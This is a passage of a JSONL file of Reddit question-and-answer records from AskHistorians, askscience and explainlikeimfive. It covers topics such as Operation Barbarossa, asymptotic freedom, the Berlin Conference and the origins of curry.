{"q_id": "1jzt10", "title": "What was the Kingdom of Nri like?", "selftext": "I've been fascinated with the massive level of development in some Sub-Saharan African culture and I just happened to stumble upon this gem. Is this just my imagination, or did they really manage to create and manage an entire empire without any form of military action?\n\nAre there any particularly well done studies on these people or cultures similar to them? From the little I've read it really sounds like we could learn a lot about them.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jzt10/what_was_the_kingdom_of_nri_like/", "answers": {"a_id": ["cbk9t84"], "score": [3], "text": ["If anyone knows anything outside of the Wikipedia article, I would be forever grateful. Te little I have read seems to imply that their leaders actually managed to not only maintain law and order, but also essentially spread their empire purely through cooperation and managed to do so for hundreds of years. If this is the case I can only hope that there are some books that may offer more insight, because this is a truly mind boggling feat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5b02q4", "title": "Why doesn't the electromagnetic force have the property of asymptotic freedom?", "selftext": "My understanding is that the colour of a quark is distributed throughout space so that it becomes whiter the closer you get to the centre. Shouldn't the measured charge also decrease as you get closer and closer to the centre (in the same way the gravitational field goes to 0 at the centre of the earth)? I understand that the electron's electric field causes a preferred direction of electron-positron fluctuations leading to vacuum polarization and causing a screening effect which makes the measured electron charge less that the true charge but I can't see a difference between the two cases. Shouldn't there also be gluon fluctuations that have give rise to the same screening effect as the electromagnetic force?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5b02q4/why_doesnt_the_electromagnetic_force_have_the/", "answers": {"a_id": ["d9ku2pg", "d9kyr9s", "d9ldd7r", "d9lwaik"], "score": [5, 3, 3, 3], "text": ["First of all, your understanding of the distribution of the color of the quark is not correct. In the standard model the quark is a point particle: it has no size and color is just a property of the quark, it is not distributed over space. \n\n\nAs for why there is a difference between the screening effect in EM and in the strong force, it is because the strong force is much more complicated than EM. In a nutshell, photons don't carry electric charge and thus doesn't interact with other photons. Gluons on the other hand carries color, and thus interact with other gluons. That makes things much harder, and it's really not easy to picture what is going on. To find that the strong force has asymptotic freedom requires a somewhat serious computation, it's not something obvious (at least as far as I know). ", "IMO it's relatively easy to see why the electromagnetic force is weak in the infrared. The presence of a test charge will cause an effective polarization of the vacuum, and calculating the quantum corrections to the classical Coulomb force involves summing over these virtual pairs. At large distances, these pairs screen the charge making the effect weaker. Correspondingly, at small distances (UV energies) the charge becomes less screened and the interaction increases.\n\nWorking out why the screening happens backwards is tougher. There's a section in Peskin  &  Schroeder (Chapter 16.7) with a brief description - basically the interplay between the different non-abelian components of the electric fields of a test charge results in virtual dipoles which enhance rather than screen the charge..", "The screening effect happens with quarks and gluons as well. The difference lies in the fact that the effect which screens the apparent strength of the gluons actually acts to reinforce (or anti-screen) the apparent strength of the quarks.[^1](_URL_0_)", "The screening effect applies to gluons, but there are also anti-screening effects which, in the case of the strong interaction, dominate.\n\nScreening of the electron charge is due to electron self-interaction: the electron emits a photon which splits in a fermion-anti-fermion pair before combining again. The pair gets polarized because of the electric charge of the electron.\n\nA quark may screen in the same way: A red quark emits a red-anti-red gluon which makes a quark-anti-quark pair. The anti-quark, being anti-red, will tend to be closer to the original red quark. This will work the same way for all 8 gluons.\n\nGluons interact together, however, and can also split into gluon pairs. This is more complicated because the gluon always carries color-anti-color information. For example, a red-anti-green gluon will split by sending its red color in one gluon and its anti-green color in another. But those gluons need to have more color information in them, so a blue-anti-blue color pair can be created. The gluon pair is then red-anti-blue and blue-anti-green. This pair polarizes with the latter closer to the original charge (which is now green since it emitted red-anti-green in the first place). If you look at all possible pairs like that, you can see by applying the Gauss law that this leads to inverse polarization with respect to the original color (red, in this case).\n\nFor a force to be confining, it therefore needs to:\n- Have its bosons couple together;\n- Have more bosonic bubbles than fermionic ones.\n\nThe strong interaction has 8 gluons and only couples to 3 quark generations, and ends up being confined. The weak interaction couples to all quarks and leptons, and only has three bosons, so it isn't confined. The electromagnetic interaction isn't confined at all because photons don't couple with themselves."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://physics1.howard.edu/~thubsch/FPP1/Slides/1114.pdf"], []]}
{"q_id": "6u2jev", "title": "why on maps showing european demographic data switzerland usually always shows no data.", "selftext": "Do they even exist? What do they have to hide? Should I be afraid?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6u2jev/eli5_why_on_maps_showing_european_demographic/", "answers": {"a_id": ["dlpe0o9", "dlpqbrp"], "score": [9, 2], "text": ["Is it *just* Switzerland that doesn't have data, or are there some others?\n\nIt's possible the sources you're looking at are for the EU, and Switzerland isn't in the EU.\n\nOtherwise if it includes countries like Norway and Iceland, but not Switzerland, it could possibly be showing countries in the EEA, which Switzerland is technically not in.\n\nBut if it has data for pretty much every country in Europe, including non-EU, non-EEA countries like Serbia or Ukraine then I have no idea.", "Actually, Switzerland has one of the most detailed statistics office in the whole world: [Swiss Governmental Office of Statistics Website](_URL_0_). Why not take a look at the website, you'll see that Switzerland has statistics for just about everything. \n\nThe thing is that statistical maps are usually made with data from EU or EEA sources, neither of which Switzerland is part of. That means that Swiss data is quite isolated in the sense that it is not collected by a larger governmental body like the European Union.\n\nYou *could* get the data from the Swiss Statistics Office, but honestly most newspapers and reddit OPs are too lazy for that. For example, here's the newest official report on University Cost in Switzerland: [1321 CHF or roughly 1200\u20ac per Semester](_URL_1_), making it an orange country on the map you mentioned in another comment."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.bfs.admin.ch/bfs/en/home.html", "https://www.bfs.admin.ch/bfs/de/home/statistiken/bildung-wissenschaft/bildungsindikatoren/bildungssystem-schweiz/bildungsstufen/hochschulen/erwerbstaetigkeiten-hs.assetdetail.38518.html"]]}
{"q_id": "56m7od", "title": "why do people consider the wii u a failure?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/56m7od/eli5_why_do_people_consider_the_wii_u_a_failure/", "answers": {"a_id": ["d8kfc5d", "d8kjaqd", "d8kpijn"], "score": [33, 6, 3], "text": ["It released in 2012 and has shipped a little over 13M units. The PS4 launched 2013 and has shipped  > 43M units. Even the Xbox One which launched 2013 has shipped  > 20M units. Compare this to the original Wii which from 2006-2016 has sold  > 101M units.  \n  \nBesides the fact that of units sold, the Wii U has a magnitude less games.  \n  \nThe Wii is more directed to families than it is towards actual gamers, but since Xbox has the Kinect and even Playstaion has their own camera and handheld controller stick, the benefit of the Wii U's secondary screen is not enough, as even Xbox/Playstation can do it to a limited extent as well.  \n  \nIt's like asking why the PS Vita was a failure, it only sold 4M units because Nintendo offered a better product/games for the masses and also had existing loyal customers.", "1. The name - they should have come up with a new name for the system, instead\n   of just tacking on the letter U. This makes it seem like it is an add on\n   rather than a completely new system.\n\n2. The controller - they bundled the system with the [Wii U GamePad][GamePad]\n   instead of the [Wii U Pro Controller][Pro_Controller]; the screen controller\n   should have been an optional accessory. It seems weird have a screen\n   controller as the primary controller.\n\n[GamePad]://_URL_0_\n[Pro_Controller]://_URL_1_", "I bought one at launch and there has not been enough content (that interests me) since launch to warrant the purchase."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["wikipedia.org/wiki/Wii_U_GamePad", "wikipedia.org/wiki/Wii_U_Pro_Controller"], []]}
{"q_id": "27sfg1", "title": "Is the sitcom, with its constant cast, recurring jokes and short run times unique to TV, or were there similar formats in other earlier forms of live media?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/27sfg1/is_the_sitcom_with_its_constant_cast_recurring/", "answers": {"a_id": ["ci40gwv", "ci45df2", "ci469cw", "ci46i4k", "ci4c4qp", "ci4frjk", "ci4ozu7"], "score": [3, 4, 11, 3, 4, 4, 2], "text": ["You might be familiar with 'film serials' of the 1940s, usually they were action-adventure ones, but series of short films like Joe McDoakes, Three Stooges or Our Gang/Little Rascals could be considered proto-sitcoms.", "Radio shows are a predecessor to be the first TV sitcoms, however recurring cast/characters in situational comedy were used by playwrights since ancient greece; Shakespeare wrote several. So to answer your question there were similar forms long before Farnsworth was even born.", "You might be interested to learn about the Italian *commedia dell'arte,* a form of theater that was popular from the 16th to 18th centuries.  It was a form of improv/sketch comedy based on stock characters and familiar situations, and has been extremely influential on Western comic culture. \n\nThere were three types of characters. Servants (called *zanni*, which our word \"zany\" comes from), Masters (old, stupid men), and lovers (young men and women).   Many of these characters were stereotypical caricatures of various Italian cities--the pretentious doctor from Bologna, the stingy merchant from Venice,  the boastful yet cowardly soldier from Naples or Spain.   The plots were simple and recognizable,  like trying to get out of a debt, or seduce someone's wife,  but the details would be improvised on the spot, featuring clever wordplay,  banter, and slapstick (a slap stick was a device called a *batacchio,* a fake club with two wooden boards that would slap together,  making a very loud sound but not actually hurting).  Most commedia dell'arte was performed by troupes that would travel around, and actors would usually specialize in one character for their entire career,  sometimes only appearing in public in costume (like Sacha Baron Cohen).\n\nHere's a clip of the famous comic Dario Fo doing an Arlecchino routine: _URL_0_ (start at 00:20 to skip the introduction).  Arlecchino was a servant character whose schtick was being always drunk and/or hungry.  He usually wore a patchy, multicolored outfit, and is the origin of the term \"Harlequin.\"\n", "In 16th century Italy Commedia dell-arte was a live theater performance style with the same archetypes playing out different scenarios. There were wise servants, the young lovers, the miserly rich man, the absent minded scholar and a proud but cowardly military man. I will add more and cite sources when I get home to my books.", "The responses here are very good, but there is one more thing I would like to add: comic strips feature a very similar format to TV sitcoms, and could also be included in the list. \n\nAlso, this is not directly related to sitcoms, but in the pre-TV days it was very common for novels to be published in series, with one chapter being released at a time, in the same way modern television shows work. Most of Charles Dickens's works were published this way. ", "\"Punch and Judy\" shows were a common English form of puppet theater that you'd see at fairs, festivals, and sometimes just in busy streets. Punch, a short-tempered hunchback who frequently whacks other puppets with his stick, his wife Judy, who berates Punch for his stupidity, ineptitude, greed, or gluttony, and a host of other regular characters, all known to the audience, may appear throughout the show as well. Punch even has a distinctive voice, normally produced by a device called a swazzle held in the performer's (known as the \"Punchman\") mouth.\n\nYou can still see Punch and Judy shows at Renaissance fairs and other festivals today.", "The average vaudeville act in America was ten to fifteen minutes long, many of the early early TV pioneers got their start in vaudeville. This type of entertainment faded due to the invention of radio and sound film, but the dance routines, short musical numbers, jokes and gags of vaudeville lived on and adapted them to the new formats."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=jvC-y4I_5hU"], [], [], [], []]}
{"q_id": "2ygfga", "title": "Logistically, why was Stalin surprised by Operation Barbarossa? Did his spies not notice hundreds and thousands of German troops massing at the border?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ygfga/logistically_why_was_stalin_surprised_by/", "answers": {"a_id": ["cp99jcn", "cp9b3rs", "cp9lkt7", "cpa1b24"], "score": [119, 30, 8, 11], "text": ["According to Abraham Ascher in his book *Russia: A Short History*, Stalin had ample warning but chose not to believe the information he was getting.\n\nWinston Churchill (and other people) warned Stalin that Germany intended to invade the Soviet Union, but Stalin didn't believe that Hitler would betray him and violate the Non-Aggression Pact. A deserter from the German army told Russian border guards about Operation Barbarossa on June 21, 1941, but \"Stalin dismissed the report as an obvious provocation and ordered his commanders to be on the alert but not to take any action\" (Ascher 196). He had heard that Hitler planned to invade, but simply didn't believe it~~--he reportedly went into a state of shock for about a week after the Germans launched their offensive~~.\n\nAs for why Stalin didn't think that Hitler would betray him, I don't know and Ascher unfortunately doesn't go into more detail, but I hope this answers your question!\n\nEDIT: A poster below told me that the week-long state of shock that Stalin reportedly went into is an urban legend not corroborated by reliable sources from the time.", "They noticed.  But what did Hitler intended to do?  We know that he intended to invade, pretty much whatever Stalin did.   Historically that's not the way it usually works.   So many people thought that Hitler would issue an ultimatum.  Stalin wanted to delay war with Germany.\nIf he could comply with the ultimatum without compromising the Soviet Union's military strength, he would agree and Hitler would not invade.  If he couldn't agree to the ultimatum it would at least serve as a warning. \n\nMy source here is Barton Whaley, *Codeword Barbarossa*, MIT press, 1974", "I just got done reading William Shirer's omnibus, *The Rise and Fall of the Third Reich* (Simon  &  Shuster, 1960), and he notes that not only did Stalin know of the troop build-up from some of the sources already cited here, but that he was also explicitly warned by U.S. Undersecretary of State Sumner Welles.  Further proof that he knew of the troop build-up is laid out by Shirer through eye-witness testimony from Nuremburg that related how Molotov bluntly asked the Nazis about their troop movements in the East.\n\nAs to why Stalin ignored them?  Still no great answer for you; he must not have read Mein Kampf?", "This is my first time actually answering a question in this subreddit, so if I break the rules somehow, or I am just flat out wrong, please remove the post mods.\n\nActually, quite the contrary. They did know of the massive military preparations along their borders. According to Antony Beevor in *Stalingrad*:\n >  \"In the Soviety Embassy on the the Unter den Linden. . .  An urgent signal from Moscow demanded 'an important clarification' of the huge military preparations along the frontiers from the baltic to the Black Sea.\" \n\nFurthermore, the Kremlin at this point in time (21 June, 1941) was actually freaking out about the entire thing, and had started to realize just what the intentions of the German military were. However, Stalin did not believe that their intentions were to invade the USSR, he merely believed that Hitler wanted to \"extract greater concessions\" from him. \nStalin also seemed to believe that the idea of Hitler invading was simply a campaign started by the British. \n\n >  \"Stalin was certain that most warnings had been. . .  part of a ploy by Winston Churchill, the arch-enemy of the Soviet Union, to start a war between Russia and Germany. Since [Rudolph] Hess's flight to Scotland, the conspiracy had grown even more complicated in his mind.\" \n\nAnd, lastly, it seems that Stalin had actually been petrified of provoking Hitler in anyway, and refused to even accept that an invasion was possible. According to Beevor,\n\n >   \"Stalin, the totalitarian dictator, still could not come to terms with the idea that events [Operation Barbarossa] might be outside of his control.\"\n\nSo, in short, Stalin was surprised by operation Barbarossa because he had refused to believe that it was even a possibility. In his mind, he believed that Hitler was just trying to gain concessions from him, that the British were behind the entire rumor that the USSR would be invaded, and he was afraid of Hitler and did not want to provoke him. \n\nI hope that this answers your question!\n\n\n**Source:**\n\nBeevor, Antony. Stalingrad. London: Viking, 2007. 3-6. Print."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "8aycb2", "title": "what's the difference between = and \u2261", "selftext": "Isn't k = 42 the same thing as k \u2261 42?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8aycb2/eli5_whats_the_difference_between_and/", "answers": {"a_id": ["dx2gn4g", "dx2gtqc", "dx2iyt1", "dx2p6o8", "dx2pw3x", "dx31x5w"], "score": [7, 40, 5, 2, 4, 2], "text": ["If I remember right, it's the difference between \"equal to\" and \"the same thing as\".\n\n2+2 = 4, but 2+2 is not the same thing as 4. It's like if you have 2 weights which are 2 lbs each and a 4lbs weight. Both sides weigh the same, but 1 side has 2 things while the other has only be thing.", "\u2261 is used in several different contexts.\n\nIf can be used to denote identity between two mathematical expressions. For example, if I were to write (a + b)^2  =  a^2 + 2ab + b^(2), one could mistake this for an equation (ie I'm looking for a,b which will satisfy it). However writing (a + b)^2  \u2261  a^2 + 2ab + b^2 emphasizes that the two expression (a+b)^2 and a^2 + 2ab + b^2 are identical.\n\nIt can also be used to denote an [equivalence relation](_URL_0_). Elements can be equivalent, even if they're not equal, in which case we can treat them as equal in the context of the equivalent relation. For example, lets look at modular arithmetic: given a number N, we define two numbers a,b as equivalent if (a-b) is divisible by N. In this case, we write a \u2261 b (mod N), or simply a \u2261 b for short. For example if N=5 then 6 \u2261 11, even though 6 \u2260 11.", "The one with three lines (on mobile, cant find it) is used to \"define\" something. Normally when you are doing some type of mathematical derivation, and you want to introduce a new relation, you would use the define equals as to let the reader know that it was defined to be that way. I could define x to be 4*y, and that could be including some other assumptions or not. \n\nEither way, \"=\" is used for actually doing mathematical equations and solving things, the other is used to explicitly define something. That may not be clear, but it's all I got!\n\n", "I took probability and discreet mathmatics and, although it's been a while, I always remember the \u2261 sign basically meaning \"always equal to\" or \" is the same thing as\". You would say x is equal to 10 but x may not ALWAYS be equal to ten. This basically is used for proofs and logic to define something as true to use in a later argument. ", "The congruency sign has a few uses:\n\n* in geometry, to show two objects are the same (\u2220ABC \u2261 \u2220XYZ)\n* in modular arithmetic, to show two numbers give the same remainder (17 \u2261 8 \u2261 2 mod 3)\n* to show equivalence vs. equality (y = 2x + 3 sometimes, but x^2 \u2261  x * x always)\n* to present a definition ( e \u2261 lim*_n- > \u221e_* (1 + 1/n)^n )", "I'd like to try as well.\n \nI understand \u2261 meaning that two things are identical. In a manner that 30 minutes \u2261 half an hour. They are the same thing. The exact same thing.\n \nk=42 is not an identity, it's an instance. The value of k is 42. The value of 42 is not k. k is equal to 42 but k and 42 are not the same thing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Equivalence_relation"], [], [], [], []]}
{"q_id": "3vpdis", "title": "Why was Odysseus renamed by the Romans, like the Greek gods were renamed, but heroes like Achilles were not?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3vpdis/why_was_odysseus_renamed_by_the_romans_like_the/", "answers": {"a_id": ["cxpp0df"], "score": [15], "text": ["Actually, both names were changed. Achilles' name in the *Iliad*, and elsewhere in Greek literature, was *Achilleus* (\u1f08\u03c7\u03b9\u03bb\u03bb\u03b5\u03cd\u03c2).\n\nHowever, Odysseus' name changed so much because it was influenced by the Etruscan *Uluxe* or perhaps the Siculian \u039f\u1f50\u03bb\u03af\u03be\u03b7\u03c2, both of which are versions/transformations of Odysseus.\n\nEdit: I looked into it more and it seems that there is some dispute about where exactly the Romans received the name Ulixes. Some make the argument for Etruscans, others Sicilians, and still others Messapians. The point being that they received the name second hand. \n\nAnother interesting point is that the first Roman to equate Ulixes with \u1f48\u03b4\u03c5\u03c3\u03c3\u03b5\u03cd\u03c2 was Livius Andronicus, who is one of the earliest Roman poets that we know of, although we now only have fragments. Livius wrote a translation of Homer's *Odyssey* in Latin and used the name *Ulixes* to \"translate\" the Greek \u1f48\u03b4\u03c5\u03c3\u03c3\u03b5\u03cd\u03c2. What's significant about this is that Livius, unlike the later Ennius, was often not happy just to transliterate Greek names, but instead chose Latin or native Italic names to serve as equivalents. The best example of this is his use of the local goddess *Camena* instead of the transliteration *Musa* in Homer's initial invocation to the Muse. So it would make sense for Livius to choose the native name *Ulixes* rather than a simple transliteration. His use seems to have stuck.\n\nIt's also worth noting that even the Greeks themselves had different versions of Odysseus' name. Here are a few: Oluseus, Olusseus, Oluteus, Olutteus, Oliseus. Different dialects of Greek formed his name according to their own phonological tendencies.\n\nSources: Roberto Price *Homeric Whispers*, Irad Malkin *The Returns of Odysseus*, Stephen Hinds *Allusion and Intertext*, LSJ\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "wuflq", "title": "If the moon is pulling away from the Earth at approximately 1-2 inches each year, how long would it take for it to lose orbit with us? Also, what affects would that have on the Earth?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wuflq/if_the_moon_is_pulling_away_from_the_earth_at/", "answers": {"a_id": ["c5gjowb", "c5glnko", "c5goa7a", "c5gp1ia", "c5gwbii"], "score": [1526, 25, 2, 8, 2], "text": ["It never will. \n\nThe moon is being accelerated in its orbit by the tidal bulge in the ocean, which, because of the rotation of the earth, is always a little bit ahead of the moon, which produces an acceleration of the moon in its orbit, and a deceleration of the rotation of the earth. This raises the moon into a slightly higher orbit, and increases the length of a day on earth. Eventually, the length of a day on earth would be equal to the orbital period of the moon, in other words we would become tidally locked with the moon, having one side of the earth always facing it and the other side always facing away.\n\nIt would take about 50 billion years for this process to complete, at which time the moon would orbit the earth once every 47 days, and a day on earth would be 47 days long. However, the expansion of the sun will boil off earth's oceans in about 2 billion years, ending the process.", "The reason the moon is moving away from the earth is, like mentioned above, because of the tidal braking of the earth. The earth/moon system conserves angular momentum, so as the rotation of the two slow, the distance will increase. However before the moon reaches the Earth's Hill radius (which is the name for a point after which no satellite can be held by earth's gravity) the tidal forces on the Earth caused by the Sun will have taken energy from the Earth/Moon system and the moon will begin to fall back down to Earth again. But don't worry about that, the sun will have scorched us all long before.", "Hope this is within the rules, but you might be interested in [this documentary](_URL_0_).", "Related question: Would humans be able to push the moon out of orbit? ", "[Moon](_URL_0_)\n\nThe whole documentary is quite good.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.youtube.com/watch?v=tMAC0ZZxZC4"], [], ["http://www.youtube.com/watch?feature=player_embedded&amp;list=PLE4E96CDFA932928F&amp;v=acu2zs5fKoo#t=357s"]]}
{"q_id": "7hef4i", "title": "what is the chemistry of photography?", "selftext": "So I'm taking an intro to photography class which has us in a lab developing film and photos. I'm just curious as to what the chemicals are doing and how we end up with a photo.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7hef4i/eli5_what_is_the_chemistry_of_photography/", "answers": {"a_id": ["dqqih38"], "score": [5], "text": ["_URL_0_\n\n(Black-and-white) film is basically plastic with a mixture of silver halides and gelatin spread on it.\n\nWhen you expose the film (ie, when you point the camera at something and push the button), where the light hits the silver halide, a tiny amount of it is turned into elemental silver. It basically creates a bunch of extremely tiny pockets of elemental silver. These pockets can be as small as single digits of atoms.\n\nIn the developing can, first, you add a *developer,* a chemical which, when it runs into a particle of elemental silver, converts nearby silver halides into more elemental silver. It grows those tiny pockets of elemental silver into crystals. The crystals are maybe a hundred billion times bigger than the original pockets- a few thousand times bigger in each dimension.\n\nTheir exact size (which determines how dark your negative will be) depends on how long the film sits in the developer. So when you determine that it's been long enough, you pour out the developer and add a stop bath. This is just a weak acid that neutralizes any developer that's on the film. And you dump out the stop bath, so it both neutralizes the developer and physically washes it out.\n\nLast, you pour in a chemical that dissolves the remaining, unconverted silver halides. Otherwise, when you looked at the developed film in light, it would darken (very gradually, because it's not being boosted by developer chemicals.)\n\nThen you basically just wash and dry the film, and you've got negatives."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Photographic_processing#/media/File:Photographic_processing.jpg"]]}
{"q_id": "1i85dc", "title": "What \"rules\" were there in the \"Scramble for Africa\"?", "selftext": "It seems like during the late 19th/early 20th centuries the major European powers did not go to war with one another over colonization in Africa. Were there certain protocols or norms that all countries were expected to follow? Thanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1i85dc/what_rules_were_there_in_the_scramble_for_africa/", "answers": {"a_id": ["cb1zaou", "cb21i5k", "cb21mpu"], "score": [2, 23, 3], "text": ["I guess this is sort of a follow up question, but I would like to point out that the Italian invasion of Abyssinia, and there being no blockade on the Suez canal to impede it, would make interesting features in an answer.", "The basic rules were set at the [Berlin Conference (or \"Congo Conference\") in 1884-85](_URL_0_).  That conference existed precisely because of the possibility of multiple claims to territory and vague treaty claims.  It produced a set of principles (without any African input, naturally):\n\n- The Congo Free State was confirmed as the possession of King Leopold II, and its boundary with the French Congo claim was set at the southern bank of the Congo River (the only boundary, IIRC, that was actually set).  \n- Certain waterways were declared open to ship traffic of all nations.\n- Some regions were \"confirmed\" as the \"spheres of interest\" for certain powers, where other nations were supposed to respect their primacy (a really vague idea to say the least).\n- The most mischievous part was the principle of Effective Occupation, which required that any claim to protecotrate required the presence of actual Europeans and some kind of administrative apparatus.\n- ...and for purposes of popular morality, a fig-leaf of \"prohibiting the slave trade\" was universally included too.\n\nThis didn't stop international conflict over claims ([Fashoda in 1898 being the biggest](_URL_1_) arguably--but it ended without war and an agreement on \"sphere boundaries\") but it did set some kind of conspiratorial ground rules for Europeans to make their claims and adjudicate disputes.\n\n[Edit:  Hertslet's *The Map of Africa by Treaty*, some of its earlier editions available online, is an interesting reference for the various agreements' text--international and with African leadership alike--in particular instances.]", "The major European powers had a conference from November 1884-February 1885 called the Berlin Conference, where the following were determined:\n\n* It laid down the doctrine of \"effective occupation\" which meant that powers had to reinforce their claims with tangible signs of their presence. This was to prevent Britain's practice of asserting vague claims to many areas.\n\n* Certain ares such as the Congo Free State were declared sovereign with guarantees of freedom of commerce for all nations. \n\n* Shipping routes such as the Niger River and Congo River were free to all ships.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Berlin_Conference", "https://en.wikipedia.org/wiki/Fashoda_Incident"], []]}
{"q_id": "24icha", "title": "What is the history of curry? Who invented it? How did it spread? Is it really a British thing and not Indian?", "selftext": "I had a debate with someone on the origin of curry. My friend insisted it was British and was adopted for Indian cuisine while I thought it was a native Indian blend of spices.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/24icha/what_is_the_history_of_curry_who_invented_it_how/", "answers": {"a_id": ["ch7f69z", "ch7f7ou", "ch7j1a0", "ch7j9c4", "ch7jo2l", "ch7qbes", "ch7rej4"], "score": [20, 58, 13, 21, 383, 2, 2], "text": ["Can you clarify whether you mean \"curry\", the category of sauce-based dish or \"curry\", a slightly broad term for a mixture of powdered spices?", "My understanding is that the curry tree, whose leaves are used in the making of curry, is native to low-land india and southeast asia, where it has been used as a seasoning that (unlike pepper or cardamon) was affordable to all of the population for thousands of years.  That said, the sorts of curry sold in Western \"curry-shops\", like \"Tikka-Masla, are heavily modified from their original recipes to be a better fit for Western palates.  Similarly, most of the \"Chinese food\" sold in the west includes things like chop suey or General Tso chicken, which are adaptations of Chinese dishes to suit western palates, and are quite different from the dishes they were originally based on.  As a general rule, western curries often are less spicy and have more ghee and thickening than more \"authentic\" dishes.  As always, the adapted dishes are partly a response to differences in the avilablity of ingrediants -- fresh gree mangos are hard to get in Britiain or the USA, but meat like chicken and lamb are more affordable compared to the income levels in places like India.  Consequently, dishes were modified to suit local palates and locally available ingredients.  \n\nFinally, Indian cuisines displays a degree of regional diversity that greatly surpasses that of France or Italy, but only a few dishes from each region tend to appear on menus of Western restaurants, for some of the above-mentioned reasons.  Generally, the dishes heavy in ghee or butter are more characteristic of northern india, while the dishes based more on coconuts or other palm-fruit are more found in southern india, but there are lots of variations and exceptions to this, as in all aspects of South Asian culture.   ", "I suspect your friend might be thinking specifically of Chicken Tikka Masala as being British, because [allegedly](_URL_0_), it was developed in Glasglow after a man visiting an Indian restaurant wanted sauce with his Chicken Tikka because it was too dry - sauce which the restaurant didn't have pre-made, so the chef mixed up some ingredients including yogurt and spices and brought that out.", "There's a good recent book on the topic by Lizzie Collingham called *Curry: A Tale of Cooks and Conquerers*. I know that sounds like a million other histories of curry, but Collingham is an excellent historian at the University of Warwick. She started with a history bodies in India (*Imperial Bodies: The Physical Experience of the British Raj, 1800 to 1947*, a theoretically sophisticated work), and in 2011 published *The Taste of War: World War II and the Battle for Food*, a book that has quickly become the standard synthetic account of the topic. She was right \"on trend\" with that last book, in the sense that anyone who studied food history seriously could see that World War II was *all about* food--but she was the first one to really put it all together and write the book.\n\nSadly, I didn't read her book on curry closely, and it was some time ago, so I cannot offer more than the recommendation. Still, if you want the best work on the topic, that's it.", "\"Curry\" has two very different meanings in this context. One is the leaf of the curry tree, which grows in south India and Sri Lanka. Locally, it's called the \"sweet neem tree\" (as opposed to the bitter neem). It kind of has a citrus taste, but a bit more earthy. It's used in various dishes in south Indian cuisine.\n\nThen there is the other meaning of \"curry\", which is some generic spicy dish, particularly from the Indian subcontinent, but also from southeast Asia.\n\nThere is a third, derived use as well - \"curry powder\", which is some generic mix of Indian-ish spices used to make curry.\n\nAs for the origins:\n\n1. The curry leaf is Indian, and has been in use in south Indian cuisine for thousands of years, long before the British arrived in India. However, its use is very regional, being popular mainly in south India (and one western state), but not in north Indian or east Indian cuisines.\n\n2. Curry (as in a spiced dish) is the British name for various spicy dishes they encountered in India.\n\n3. Curry powder is a British invention, when the British tried to replicate Indian food back home. There is no standard curry powder. Various companies made their own blends of different spices, and sold it as \"curry powder\".\n\nIn India, there is no such thing as curry, although people might occasionally use the word as a British English term. In India, there are just various regional cuisines, each with dishes that can use hundreds of combinations of different spices in different ratios. There is no \"curry powder\" as such, though different spice mixes may be sold for specific purposes - for example, korma spice mix, biryani spice mix, chana/dal spice mix, nihari spice mix, etc. For example, you can see some of the variety on [this page](_URL_0_). If you scroll through the pages, you'll see there are about 50 different and distinct spice mixes for different kinds of Indian food. You can't replace them all with one generic \"curry powder\". Even this variety is not enough -- most Indians would consider that buying a pre-made spice mix takes away the cook's control over the dish's flavor.\n\nThe typical \"curry\" in Britain is a north Indian style spicy dish. It's generally simplified by reducing the number of spices, and made milder by decreasing the amounts of the \"hotter\" spices, specially chilies and black pepper. The closest Indian equivalent would be a korma, which is from Mughlai cuisine. It's a meat based dish (chicken, lamb or beef) which is cooked by creating a spice \"base\" -- a fried paste of onions/garlic/ginger plus a variety of spices added in. The meat is cooked by braising in this spice mix, and the sauce is often thickened later by adding cream or yogurt.\n\nWhile the general technique is similar, there is a pretty huge difference in the taste of a typical British curry and Indian korma. Korma has a lot more different spices than the average curry. While Indians may add some cream or yogurt to the sauce, the Brits add a lot more, mostly to subdue the spices and make it milder. In a typical British curry, you have a strong taste of dairy with Indian-ish spices. In the typical korma, the flavor of the sauce comes primarily from ghee infused with the spices. It is more reddish rather than yellowish in color.\n\nHope that answers your question. Curry is very definitely a British thing, based on a westernization of north Indian food. In India, if you asked for curry, people would be confused. If they knew English they might understand that you're asking for some spiced dish with a sauce, but there are a zillion variations of those and \"curry\" is not specific enough.", "One interesting addition to this thread, is the influence of the Mughal Empire on Indian cuisine, which brought Persian, Mongol and Turkish influences to the table (sorry) and could be seen as a very early example of 'fusion cooking'. It is relevant to this debate, because much of what we think of as 'traditional indian cuisine' was actually brought to the region during Babur's reign in the 16th century. This court cuisine is heavily spiced, and often very rich. In deference to Hinduism, beef was not cooked at court. Since many of the spices, dried fruits and nuts used in this cuisine were expensive, this doesn't represent what the general population would have eaten, but rather the court cuisine of the upper classes, where food was seen as very important, and 